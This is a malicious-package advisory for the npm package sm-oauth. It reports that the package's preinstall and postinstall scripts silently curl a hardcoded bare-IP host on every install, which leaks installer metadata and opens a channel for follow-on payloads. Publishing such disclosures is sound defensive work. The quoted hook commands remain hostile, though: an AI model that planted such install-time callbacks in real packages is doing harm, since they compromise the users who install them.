MAL-2026-14398
Malicious code in sm-oauth (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (98d60527238d1284ed569a2fa7611ff2b430e1ebfab579f597f42a1eb28f49bc) package.json declares preinstall and postinstall scripts that run `curl -s http://16.192.173.5/sm-oauth/pre` and `curl -s http://16.192.173.5/sm-oauth/post` on every `npm install`. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for sm-oauth (npm). Pin to a known-safe version or switch to an alternative.